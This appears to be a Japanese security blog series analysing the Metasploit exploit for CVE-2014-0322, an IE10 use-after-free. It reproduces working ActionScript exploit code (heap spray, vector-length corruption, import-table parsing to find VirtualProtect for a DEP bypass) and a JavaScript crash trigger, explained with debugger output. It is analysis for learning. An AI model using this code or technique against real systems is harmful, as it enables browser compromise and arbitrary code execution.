ということで、getK32Index を実行する前の importsindex には、インポートテーブルへの RVA (=Relative Virtual Address) である B73E80 が入ります。

インポート テーブルの構造は、先述の MSDN のページにおける "The Section Table" の Fig.6 に記載があります。IMAGE_IMPORT_DESCRIPTOR の配列になっているようです。

IMAGE_SECTION_HEADER fields
http://msdn.microsoft.com/en-us/magazine/bb985997.aspx

なぜかユーザーモード デバッガーでは IMAGE_IMPORT_DESCRIPTOR の構造が見れません。カーネル デバッガーからは見えるようですが、そんなことをしなくても、SDK に含まれる winnt.h に定義があるので、それを利用します。

typedef struct _IMAGE_IMPORT_DESCRIPTOR {
    union {
        DWORD   Characteristics;
        DWORD   OriginalFirstThunk;
    } DUMMYUNIONNAME;
    DWORD   TimeDateStamp;
    DWORD   ForwarderChain;
    DWORD   Name;
    DWORD   FirstThunk;
} IMAGE_IMPORT_DESCRIPTOR;
typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;

getK32Index() はこんな感じです。

/*
*  Find kernel32.dll index
*  index: index of vectors table
*  baseflashaddr_off: flash dll address offset
*  importsindex: offset to the imports table
*/
public function getK32Index(index:uint, baseflashaddr_off:uint, importsindex:uint):uint {
  var nameindex:uint = 0;
  var dllname:int = 0;
  var nameaddr:int = 0;
        
  do {
    nameaddr = this.s[index][baseflashaddr_off+importsindex/4+nameindex/4+0x0C/4];
                  
    /* kernel32.dll not found */
    if (nameaddr == 0x0) break;

    dllname = readInt(this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4],
        this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1],
        (nameaddr % 4));

    /* Check kernel32.dll */
    if (dllname == 0x6E72656B || dllname == 0x4E52454B) {
      nameaddr = nameaddr + 4;
      dllname = readInt(this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4],
          this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1],
          (nameaddr % 4));

      if (dllname == 0x32336C65 || dllname == 0x32334C45) {
        nameaddr = nameaddr + 4;
        dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4],
            this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1],
            (nameaddr % 4));

        if (dllname == 0x6C6C642E || dllname == 0x4C4C442E) {
          return nameindex;
        }
      }
    }

    /* Next dll */
    nameindex = nameindex + 0x14;
  }
  while (1);

  return 0;
}

初めの this.s[index][baseflashaddr_off+importsindex/4+nameindex/4+0x0C/4]; ですが、nameindex は 0 から始まって、0x14 ずつ増加していきます。_IMAGE_IMPORT_DESCRIPTOR の定義によると、この構造体は DWORD 5 個分なので、0x14 は sizeof(_IMAGE_IMPORT_DESCRIPTOR) と一致します。したがって、各でスクリプターのオフセット 0xC の位置、Name の値を見ていることになります。

インポート テーブルについては、先述の MSDN の Part 2 で詳しく触れられています。2 つ目のリンク先にある "IMAGE_IMPORT_DESCRIPTOR Structure" の Name の部分を見ると、この値は RVA であり、イメージベースからのオフセットのようです。

Inside Windows: An In-Depth Look into the Win32 Portable Executable File Format, Part 2
http://msdn.microsoft.com/en-us/magazine/cc301808.aspx
http://msdn.microsoft.com/en-us/magazine/bb985996.aspx

実際にデバッガーから、インポート テーブルの各でスクリプターの Name を見てみると、いい感じに DLL 名が拾えます。

0:028> !! -ci "!dh flash" find "Import"
  B73E80 [     1F4] address [size] of Import Directory
       0 [       0] address [size] of Bound Import Directory
  990000 [     AF0] address [size] of Import Address Table Directory
  B73C44 [      60] address [size] of Delay Import Directory
.shell: Process exited
0:028> da /c 100 flash+poi(flash+B73E80+c+14*0)
70c34b78  "dwmapi.dll"
0:028> da /c 100 flash+poi(flash+B73E80+c+14*1)
70c34c1c  "api-ms-win-core-winrt-string-l1-1-0.dll"
0:028> da /c 100 flash+poi(flash+B73E80+c+14*2)
70c34c44  "api-ms-win-core-winrt-l1-1-0.dll"
0:028> da /c 100 flash+poi(flash+B73E80+c+14*3)
70c34cea  "VERSION.dll"
0:028> da /c 100 flash+poi(flash+B73E80+c+14*4)
70c34eb6  "WINMM.dll"

nameaddr を取った後に、readInt という関数を使って dllName を取得しています。メモリへアクセスする手段が uint の配列経由なので、nameaddr が DWORD にアラインされたアドレスを指しているのであれば、配列の要素がそのまま取りたい値になります。しかし、nameaddr がアラインされていない場合、そのアドレスから DWORD を取得するためには隣り合った二つの配列の要素を使って DWORD を組み立てないといけません。それが readInt です。

上記のデバッガーの出力でいえば、WINMM.dll がそれに当たります。文字列は 70c34eb6 から始まりますが、配列経由で持ってこれるのは、70c34eb4 にある 49570000 と、70c34eb8 にある 2e4d4d4e です。"57 49" と "4e 4d" をそれぞれから持ってきて繋げ、0x4d4e4957 という DWORD 値が readInt の戻り値になります。

0:028> db 70c34eb0 l20
70c34eb0  74 69 6f 6e 00 00 57 49-4e 4d 4d 2e 64 6c 6c 00  tion..WINMM.dll.
70c34ec0  d3 00 49 6e 74 65 72 6e-65 74 53 65 74 43 6f 6f  ..InternetSetCoo
0:028> dd 70c34eb0 l8
70c34eb0  6e6f6974 49570000 2e4d4d4e 006c6c64
70c34ec0  6e4900d3 6e726574 65537465 6f6f4374

比較式の右辺にある謎の定数は、DLL 名の一部を示しているはずです。これを ascii 文字に変換すると、"kernel32.dll" と "KERNEL32.dll" になります。大文字と小文字の両方に対応させているようです。丁寧ですね。

PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x6E72656B))
kern 
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x4E52454B))
KERN
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x32336C65))
el32
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x32334C45))
EL32
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x6C6C642E))
.dll
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x4C4C442E))
.DLL

getK32Index は、インポート テーブル内の kernel32.dll についてのデスクリプターの位置を返します。この値を使って次に実行されるのは GetVirtualProtectStubAddr です。

http://msdn.microsoft.com/en-us/magazine/bb985996.aspx の IMAGE_IMPORT_DESCRIPTOR をもう一度見ると、OriginalFirstThunk (offset: +0x0) に関数名の配列 (INT: Import Name Table)、FirstThunk (offset: +0x10) に関数アドレスの配列 (IAT: Import Address Table) が保存されているようです。

GetVirtualProtectStubAddr() を実行する前の以下の 2 行は、それぞれ Kernel32.dll の IAT と INT を取ってきています。

fct_addr_offset = this.s[i2][baseflashaddr_off+importsindex/4+k32index/4+0x10/4];
fct_name_offset = this.s[i2][baseflashaddr_off+importsindex/4+k32index/4];

GetVirtualProtectStubAddr は見た目がごちゃごちゃしていて読みにくそうな印象を受けますが、やっていることは getK32Index とほぼ同じです。第三引数である INT のエントリをチェックして、ある文字列が見つかったら、それに対応する IAT のエントリを返すだけです。

/*
*  Get VirtualProtectStub() addr
*/
public function GetVirtualProtectStubAddr(index:uint, baseflashaddr_off:uint, fct_addr_offset:uint, fct_name_offset:uint):uint {
  var fct_addr:uint = 0;
  var fct_name:uint = 0;
  var fct_name_struct:uint = 0;

  do {
    fct_addr = readInt(this.s[index][baseflashaddr_off+(fct_addr_offset-(fct_addr_offset % 4))/4],
        this.s[index][baseflashaddr_off+(fct_addr_offset-(fct_addr_offset % 4))/4+1],
        (fct_addr_offset % 4));
    fct_name_struct = readInt(this.s[index][baseflashaddr_off+(fct_name_offset-(fct_name_offset % 4))/4],
        this.s[index][baseflashaddr_off+(fct_name_offset-(fct_name_offset % 4))/4+1],
        (fct_name_offset % 4));

    /* VirtualProtectStub() not found */
    if (fct_addr == 0 || fct_name_struct == 0)
      break;

    if ((fct_name_struct & 0x80000000) != 0x80000000) {
      fct_name_struct = fct_name_struct + 2;
      fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4],
          this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1],
          (fct_name_struct % 4));
     
      /* Check VirtualProtect */
      if (fct_name == 0x74726956 || fct_name == 0x54524956) {
        fct_name_struct = fct_name_struct + 4;
        fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4],
            this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1],
            (fct_name_struct % 4));

        if (fct_name == 0x504c4155 || fct_name == 0x506c6175) {
          fct_name_struct = fct_name_struct + 4;
          fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4],
              this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1],
              (fct_name_struct % 4));

          if (fct_name == 0x45544f52 || fct_name == 0x65746f72) {
            return fct_addr;
          }
        }
      }
    }

    /* Next Function() */
    fct_addr_offset = fct_addr_offset + 0x4;
    fct_name_offset = fct_name_offset + 0x4;
  } while (1);

  return 0;
}

条件式の右辺となっている定数を文字に変換すると、INT のうちエントリが VirtualProte で始まるものを探していることが分かります。これに合致するのは VirtualProtect API だけです。

PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x74726956))
Virt
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x54524956))
VIRT
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x504c4155))
UALP
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x506c6175))
ualP
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x45544f52))
ROTE
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x65746f72))
rote

文字列を比較する前に、fct_name_struct の最上位ビットが 0 であることを確認していますが、これが必須かどうかは未確認です。INT に 0x80000000 を超える値が含まれることがあるのかもしれません。その後、fct_name_struct を +2 しています。INT のエントリは名前への RVA だけを保持しているのではなく、エントリの先頭 2 バイトは、序数を保持しています。エクスポート テーブルの序数は GetProcAddress に渡すこともできますが、インポート テーブルの序数は・・・何に使うんですかね。

image

デバッガーでも確かめます。といっても、getVirtualProtectStubAddr と同じことをするのは大変なので、逆に IAT から VirtualProtect のアドレスを見つけ、対応する INT のエントリーを確認します。序数も 059f で、上の Dependency Walker の表示と一致しています。

0:028> dd flash+B73E80+f0
70c33f70  00b742ac 00000000 00000000 00b75b32
70c33f80  00990238 00b746b0 00000000 00000000

0:028> da flash+00b75b32
70c35b32  "KERNEL32.dll"

0:028> !! -ci "dds flash+00990238  l100" find "Virtual"
70a50310  77af59b6 kernel32!VirtualQueryStub
70a50424  77af592e kernel32!VirtualAllocStub
70a50428  77af5961 kernel32!VirtualFreeStub
70a5043c  77af5994 kernel32!VirtualProtectStub
.shell: Process exited

0:028> ? 70a5043c-(flash+00990238)
Evaluate expression: 516 = 00000204
0:028> dd flash+00b742ac+204
70c344b0  00b77522 00b77534 00b77546 00b7755a
70c344c0  00b7756e 00b77582 00b77598 00b775b4

0:028> db flash+00b77522
70c37522  9f 05 56 69 72 74 75 61-6c 50 72 6f 74 65 63 74  ..VirtualProtect
70c37532  00 00 99 01 46 6f 72 6d-61 74 4d 65 73 73 61 67  ….FormatMessag
70c37542  65 41 00 00 92 01 46 6c-75 73 68 46 69 6c 65 42  eA….FlushFileB

なぜこんなに頑張って、VirtualProtect のアドレスが必要かというと、DEP を回避するためです。VirtualProtect は以下の MSDN にもあるように、ページの属性を変更する公開された API です。VirtualProtect を ROP chain に組み込むことで、任意のページに対して、PAGE_EXECUTE_READWRITE などのように実行可能な属性を与えることができます。スプレーした Heap の一部に対して VirtualProtect 呼ぶことで、DEP を無効化するのが目的です。

VirtualProtect function (Windows)
http://msdn.microsoft.com/en-us/library/windows/desktop/aa366898(v=vs.85).aspx

Deep Dive into Exploit of Use-After-Free Vulnerability – 2

前回は CVE-2014-0322 の脆弱性そのものについての考察でした。今回から、exploit のコードを見ていきます。何度も同じ URL を掲載しますがコードは、Ruby スクリプトと ActionScript です。

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb

https://github.com/rapid7/metasploit-framework/blob/abd76c50000e75bcac0616b96cd8583e1df3927f/external/source/exploits/CVE-2014-0322/AsXploit.as

大まかな流れは以下の通り。最後の 14. はまさに ROP chain (ROP=Return Oriented Programming) と言え、とても美しいものです。

  1. HTML を開く
  2. SWF がロードされ、ActionScript のコードが実行される
  3. ActionScript から Heap Spraying を行い、4K 単位でアラインされる配列の配列を確保
  4. ActionScript から JavaScript の関数を実行し、脆弱性 CVE-2014-0322 を引き起こす
  5. 脆弱性によって、スプレーしていた配列 1 つの長さが伸びる (000003f0 → 010003f0)
  6. 5. を利用して、その次のページにある配列の長さを 0x3fffffff に変更 
    長さを変更したページより後の全ての仮想アドレスを ActionScript の配列経由で読み書き可能になる
  7. メモリ上を検索して、flash.ocx のベースアドレスを見つける
    →bypassing ASLR
  8. flash.ocx のインポート テーブルから VirtualProtectStub API のアドレスを取得
    → bypassing DEP
  9. flash.ocx のコード領域で、0xC394 という WORD 値を見つける
  10. ここまでに取得した数値を使って、偽のスタック領域を作成
  11. メモリ上を検索して ActionScript の Sound オブジェクトを見つける
  12. Sound オブジェクトの vtable を書き換える
  13. ActionScript から Sound.toString() を実行
  14. call – ret – ret と 3  回ホップした後、ヒープ上に流し込んでおいたペイロードが実行される

なぜかスライドにまとめてあります。(諸般の事情により仕事で使う機会がなくなった・・)決してこのブログのために作ったんじゃないんだからねっ。
http://1drv.ms/XYMqzT

1. Heap Spray からメモリを乗っ取るまで

はじめに、HTML に埋め込まれた EMBED タグによって、swf ファイルがロードされて実行されます。このとき実行されるのは AsXploit クラスのコンストラクターで、そこから呼ばれる init_heap() が Heap Spray を行います。前回見たように、脆弱性によって「書き込み可能な任意の場所の Byte 値をインクリメント」することが可能です。これを利用し、配列の長さを保存している DWORD 値の最上位バイトをインクリメントさせて、本来アクセスできないメモリ領域にも配列経由でアクセスできるようにするのが目的です。Heap Spray の wiki を見ると、NOP slide などのように実行可能なコードをスプレーする手法が書かれていますが、DEP による防御があるので、現在は (少なくとも exploit の最初の段階では) 使えません。

/* Spray the integer array */
this.s = new Vector.
(0x18180);
while (len < 0x18180) {
  this.s[len] = new Vector.<uint>(0x1000 / 4 – 16);
  for (i=0; i < this.s[len].length; i++) {
    this.s[len][i] = 0x1a1a1a1a;
  }
  ++len;
}

上記コードでのポイントは配列の長さ0x1000 / 4 – 16 (=3f0) です。これによって、各 Vector.<uint> がページの先頭にアラインされるようになります。/4 しているのは uint が 4 バイトからです。実際のデータである0x1a1a1a1a の前に、配列の長さである 000003f0 と、下記の例でいえば 07c53000 という DWORD 値が存在するので -2、-16 しているので実データの後にある 56 バイト (^14 * sizeof(uint)) が余ります。これが使われているかどうかは不明。 0x18180 と0x1a1a1a1a は何でもいいはずです。これにより、先頭が 3f0 で始まるページが 0x18180 個できました。

0:028> dd 09151000-40
09150fc0  1a1a1a1a 1a1a1a1a 00000000 00000000
09150fd0  00000000 00000000 00000000 00000000
09150fe0  00000000 00000000 00000000 00000000
09150ff0  00000000 00000000 00000000 00000000
09151000  000003f0 07c53000 1a1a1a1a 1a1a1a1a
09151010  1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a
09151020  1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a
09151030  1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a
0:028> dd 09152000-40
09151fc0  1a1a1a1a 1a1a1a1a 09151fc0 00000000
09151fd0  09151fc8 00000000 09151fd0 00000000
09151fe0  09151fd8 00000000 09151fe0 00000000
09151ff0  09151fe8 00000000 09151ff0 00000000
09152000  000003f0 07c53000 1a1a1a1a 1a1a1a1a
09152010  1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a
09152020  1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a
09152030  1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a
0:028> dd 09153000-40
09152fc0  1a1a1a1a 1a1a1a1a 00000000 00000000
09152fd0  00000000 00000000 00000000 00000000
09152fe0  00000000 00000000 00000000 00000000
09152ff0  00000000 00000000 00000000 00000000
09153000  000003f0 07c53000 1a1a1a1a 1a1a1a1a
09153010  1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a
09153020  1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a
09153030  1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a

ちなみに、3f0 の次の 07c53000 という値、これは何らかのオブジェクトの vtable のように見えます。今回は使っていませんが、ベースアドレスの検索のときには、配列の長さの次の DWORD 値を使ったほうが効率が良くなる気がします。

0:028> dd 07c53000 l8
07c53000  70be22d0 01010000 00000000 07c46080
07c53010  0000be12 00000000 000d471e 00000000
0:028> dd 70be22d0
70be22d0  70a06d00 70a0b5a0 70a06d30 70a0abc0
70be22e0  2e63672e 6c6c6f43 00746365 2e63672e
70be22f0  6c6c6f43 69746365 6f576e6f 00006b72
70be2300  2e63672e 65657753 00000070 6d656d5b
70be2310  7773205d 2d706565 72617473 00000a74
70be2320  6f666542 73206572 70656577 6d656d20
70be2330  2079726f 6f666e69 00000a3a 65746641
70be2340  77732072 20706565 6f6d656d 69207972
0:028> u 70a06d00
Flash!IAEModule_AEModule_PutKernel+0x384620:
70a06d00 55              push    ebp
70a06d01 8bec            mov     ebp,esp
70a06d03 56              push    esi
70a06d04 8bf1            mov     esi,ecx
70a06d06 e8d5faffff      call    Flash!IAEModule_AEModule_PutKernel+0x384100 (70a067e0)
70a06d0b f6450801        test    byte ptr [ebp+8],1
70a06d0f 7409            je      Flash!IAEModule_AEModule_PutKernel+0x38463a (70a06d1a)
70a06d11 56              push    esi
0:028> u 70a0b5a0
Flash!IAEModule_AEModule_PutKernel+0x388ec0:
70a0b5a0 55              push    ebp
70a0b5a1 8bec            mov     ebp,esp
70a0b5a3 83ec18          sub     esp,18h
70a0b5a6 a13080d070      mov     eax,dword ptr [Flash!IAEModule_IAEKernel_UnloadModule+0x2ce390 (70d
08030)]
70a0b5ab 33c5            xor     eax,ebp
70a0b5ad 8945fc          mov     dword ptr [ebp-4],eax
70a0b5b0 837d0c00        cmp     dword ptr [ebp+0Ch],0
70a0b5b4 56              push    esi
0:028> !address 70be22d0

Mapping file section regions…
Mapping module regions…
Mapping PEB regions…
Mapping TEB and stack regions…
Mapping heap regions…
Mapping page heap regions…
Mapping other regions…
Mapping stack trace database regions…
Mapping activation context regions…

Usage:                  Image
Base Address:           70a50000
End Address:            70c38000
Region Size:            001e8000
State:                  00001000        MEM_COMMIT
Protect:                00000002        PAGE_READONLY
Type:                   01000000        MEM_IMAGE
Allocation Base:        700c0000
Allocation Protect:     00000080        PAGE_EXECUTE_WRITECOPY
Image Path:             C:\Windows\System32\Macromed\Flash\Flash.ocx
Module Name:            Flash
Loaded Image Name:      Flash.ocx
Mapped Image Name:
More info:              lmv m Flash
More info:              !lmi Flash
More info:              ln 0x70be22d0
More info:              !dh 0x700c0000

あとは、脆弱性を引き起こして 3f0 を 010003f0 にするだけなのですが、どのアドレスの値をインクリメントすればいいのでしょうか。これは面白いことに決め打ちされていて、1a000000 です。JavaScript のコードに 0x19fffff3 という値がハードコードされており、+10 されたところのバイトがインクリメントされるので、1a000003、すなわち 1a000000 にある 000003f0 が 010003f0 になります。

image
Heap Spray 後の iexplore.exe の VMMap

スライドにも含めていますが、HeapSpray 後の iexplore.exe の VMMap を取ってみました。黄色の部分が Private Data で、ほとんどが init_heap() でスプレーされた部分です。紫の部分がロードされたイメージ データです。上が 0x00000000 で下が 0x7fffffff なので、スプレーされた部分は、メモリの空き領域の先頭から順番に埋められているように見え、イメージデータは 0x7fffffff に比較的近いところにまとまっているように見えます。この配置が Windows のどういう動作に起因するものなのかはまだ調べきれていません。今回の exploit は、配列の長さを変更してメモリ領域への制御を乗っ取るので、制御可能な領域を下に伸ばすことはできても、上に伸ばすことはできません。もし、イメージデータがメモリ全体に均等に分散していたり、Private Data よりも上に固まっていたら、今回の exploit は不可能です。素人目には、ASLR でイメージデータがもっと均等に分散された方がセキュアな気がするのですが、そのへんについては後で軽く調べておきたいところです。

0:028> s -q 0 l1000000 07c53000`000003f0
07c55000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
07c99000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
07c9b000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
07c9c000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
07d14000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
07d64000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
07d65000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
07d66000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
07d68000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
07d69000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
07d6a000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
0:028> s -q 10000000 l1000 07c53000`000003f0
10000000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
10001000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
10002000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
10003000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
10004000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
10005000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
10006000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
10007000  07c53000`000003f0 1a1a1a1a`1a1a1a1a

3f0 と vtable のアドレスをもとにメモリを検索すると、最初のアドレスは07c55000 でした。これはメモリの状態に依存しますが、概ね 07000000 前後から始まります。ただし最初の方では、別の用途で使われている Private Data もあるので、3f0 で始まるページは飛び飛びになっています。それが、10000000 を超えたあたりでは、すべてのページがスプレーされたものになっています。脆弱性で書き換える部分は 10000000 でも問題なさそうですが、十分に余裕を見て 1a000000 を選んだ、ということでしょうか。何せ 3f0 で始まるページは配列の長さの 0x18180 個あるので、概算で 07000000+18180000=1f180000 あたりまでのアドレスならどれでも選べます。後半の方が高確率で 3f0 開始ページになるので、1a000000 は確かに妥当に思えます。

さて、init_heap() はもう一つ Sound オブジェクトの二次元配列を作ります。これは exploit の最終段階で使います。ここでのポイントは、0x1234 という長さにあります。Sound オブジェクトの vtable を書き換えるため、Sound オブジェクトのある場所を探索するのですが、0x00001234 という配列の長さを利用して Sound オブジェクトの配列を特定し、vtable を見つけます。配列の長さとしては何を使ってもいいのですが、特徴的な値として 0x1234 を選んだのでしょう。

/* Spray sound object ptr */
this.sound = new Sound();
this.spraysound = new Vector.
(0x100);

len = 0;
while (len < 0x100) {
this.spraysound[len] = new Vector.
(0x1234);
  for (i=0; i < this.spraysound[len].length; i++) {
    this.spraysound[len][i] = this.sound; 
  }
  ++len;
}

init_heap() で Heap Spray が終わると、ExternalInterface.call() を使って JavaScript の関数を呼び出し、脆弱性を実行します。これには少し時間がかかるので、タイマーを使って 1 秒毎に、0x18180 ある配列のうち、どれか一つが 0100003f0 に変わっているかどうかを確認します。0100003f0 になっている配列を見つけたら、すかさずそのインデックスを記録し、タイマーを止めてから corruptNextVector() を呼び出します。この corruptNextVector() は単純で、配列の要素をチェックして、000003f0 があったら 3fffffff に変更するだけです。配列の要素はすべて 0x1a1a1a1a で初期化したはずですが、脆弱性によって配列が "延長" されているため、次の配列の長さを保持する DWORD 値に対して、配列からアクセスすることができるのです。前述のように、1a000000 前後では基本的に全てページが 3f0 の配列で埋められているので、ここで 3fffffff をセットする位置は、1a000000 の次のページである 1a001000 になるはずです。汎用性を気にしないとしたら、corruptNextVector() を使わなくても、this.s[i][0x1000/4-2]=0x3FFFFFFF で同じことが実行できるはずです。3fffffff をセットしたら、getCorruptedVectorIndex() を使って、長さが 3fffffff になっている配列のインデックスを取得します。ここまでで、配列を使って0x1a000008 以降の任意のメモリへのアクセスが可能になりました。

少々短いですが、今回はここまで。

Deep Dive into Exploit of Use-After-Free Vulnerability – 1

以前紹介した Metasploit に含まれる CVE-2014-0322 の脆弱性を利用するモジュールについて、ようやくある程度の理解ができるようになったので記事にします。かなり長くなりそうなので、分割します。

このモジュールは、以下 2 つのファイルで構成されます。ruby のスクリプトと、Flash の swf ファイルです。ruby のスクリプトの中に、JavaScript を含む HTML ページが埋め込まれています。

/usr/share/metasploit-framework/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb
/usr/share/metasploit-framework/data/exploits/CVE-2014-0322/AsXploit.swf

Ruby のファイルは、GitHub からも見ることができます。

metasploit-framework/ms14_012_cmarkup_uaf.rb at master · rapid7/metasploit-framework · GitHub
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb

AsXploit.swf のソースコードは Metasploit に含まれていないので、JPEXS Free Flash Decompiler で逆コンパイルしました。わりと綺麗なコードを生成してくれます。

と、思っていたらソースあったし・・・これで 1 日ぐらいロスした orz
https://github.com/rapid7/metasploit-framework/blob/abd76c50000e75bcac0616b96cd8583e1df3927f/external/source/exploits/CVE-2014-0322/AsXploit.as

Ruby のスクリプトの中に、参考 URL として以下のブログ記事が挙げられています。これはMISC Magazine という雑誌に載せる記事の概要だそうです。

HDW Sec – Blog
http://hdwsec.fr/blog/CVE-2014-0322.html

まずは、CVE-2014-0322 というのはどういうバグで、どうすると何が起こるのか、を見てみます。

以下は、HDW Sec のブログに載っている JavaScript を少し単純化したものです。このコードを含む適当な HTML を書いて、Internet Explorer 10 (修正パッチである KB2925418 を含まないもの) で開くと、IE がクラッシュします。

<script>
    function dword2data(dword) {
        var d = Number(dword).toString(16);
        while (d.length < 8)
            d = ‘0’ + d;
        return unescape(‘%u’ + d.substr(4, 8) + ‘%u’ + d.substr(0, 4));
    }

    var g_arr = [];
    var arrLen = 0x250;

    function fun() {
        var a = 0;
        for (a = 0; a < arrLen; ++a) {
            g_arr[a] = document.createElement(‘div’)
        }

        var magic1 = 0xdeadc0de;
        var magic2 = 0x12345678;

        var b = dword2data(magic1);
        while (b.length < 0x360) {
            b += dword2data(magic2)
        }

        try {
            this.outerHTML = this.outerHTML
        } catch (e) {}

        CollectGarbage();

        for (a = 0; a < arrLen; ++a) {
            g_arr[a].title = b.substring(0, (0x340 – 2) / 2);
        }
    }

     window.onload = function() {
        var a = document.getElementsByTagName(‘script’);
        var b = a[0];
        b.onpropertychange = fun;
        b.appendChild(document.createElement(‘div’));
    }
</script>

デバッガーを繋いでおくと、以下のアクセス違反 (AV = Access Violation) をキャッチできます。スタックトレースから、onload から JavaScript が呼ばれて、appendChild を実行したところで AV になったことが分かります。

(6c.750): Access violation – code c0000005 (first/second chance not available)
eax=12345678 ebx=03e4d1a8 ecx=00000001 edx=03f056c8 esi=03f056c8 edi=03e6d1a0
eip=72da7a59 esp=0290b6fc ebp=0290b768 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
mshtml!CMarkup::UpdateMarkupContentsVersion+0x16:
72da7a59 ff4010          inc     dword ptr [eax+10h]  ds:002b:12345688=????????
0:005> k
ChildEBP RetAddr
0290b6f8 72eada96 mshtml!CMarkup::UpdateMarkupContentsVersion+0x16
0290b768 72eae1f1 mshtml!CMarkup::NotifyElementEnterTree+0x277
0290b7ac 72eae065 mshtml!CMarkup::InsertSingleElement+0x169
0290b88c 72eaddaa mshtml!CMarkup::InsertElementInternalNoInclusions+0x11d
0290b8b0 72eadd6c mshtml!CMarkup::InsertElementInternal+0x2e
0290b8f0 72eade09 mshtml!CDoc::InsertElement+0x9c
0290b9b8 72e43c10 mshtml!InsertDOMNodeHelper+0x454
0290ba30 72e4390c mshtml!CElement::InsertBeforeHelper+0x2a8
0290ba94 72e4402c mshtml!CElement::InsertBeforeHelper+0xe4
0290bab4 72e46f43 mshtml!CElement::InsertBefore+0x36
0290bb40 72e46e60 mshtml!CElement::Var_appendChild+0xc7
0290bb70 724cb86f mshtml!CFastDOM::CNode::Trampoline_appendChild+0x55
0290bbd8 724a425c jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x185
0290bd74 724a36d9 jscript9!Js::InterpreterStackFrame::Process+0x9d4
0290be8c 04fc0fe1 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x305
WARNING: Frame IP not in any known module. Following frames may be wrong.
0290be98 7249f8e0 0x4fc0fe1
0290bf20 7249fa4a jscript9!Js::JavascriptFunction::CallRootFunction+0x140
0290bf38 7249fa1f jscript9!Js::JavascriptFunction::CallRootFunction+0x19
0290bf80 7249f9a7 jscript9!ScriptSite::CallRootFunction+0x40
0290bfac 724cc3cd jscript9!ScriptSite::Execute+0x61
0290c010 731a4a64 jscript9!ScriptEngine::Execute+0x115
0290c0c8 731a4957 mshtml!CListenerDispatch::InvokeVar+0xfe
0290c0e8 731a4791 mshtml!CListenerDispatch::Invoke+0x47
0290c178 731a4064 mshtml!CEventMgr::_InvokeListeners+0x16b
0290c190 731a400f mshtml!CEventMgr::_InvokeListenersOnWindow+0x3b
0290c210 731a44f5 mshtml!CEventMgr::_InvokeListeners+0x1e7
0290c388 72fed3d6 mshtml!CEventMgr::Dispatch+0x4ae
0290c3ac 73025170 mshtml!CEventMgr::DispatchEvent+0xdd
0290c3e4 730256d4 mshtml!COmWindowProxy::Fire_onload+0x134
0290c444 730239fb mshtml!CMarkup::OnLoadStatusDone+0x448

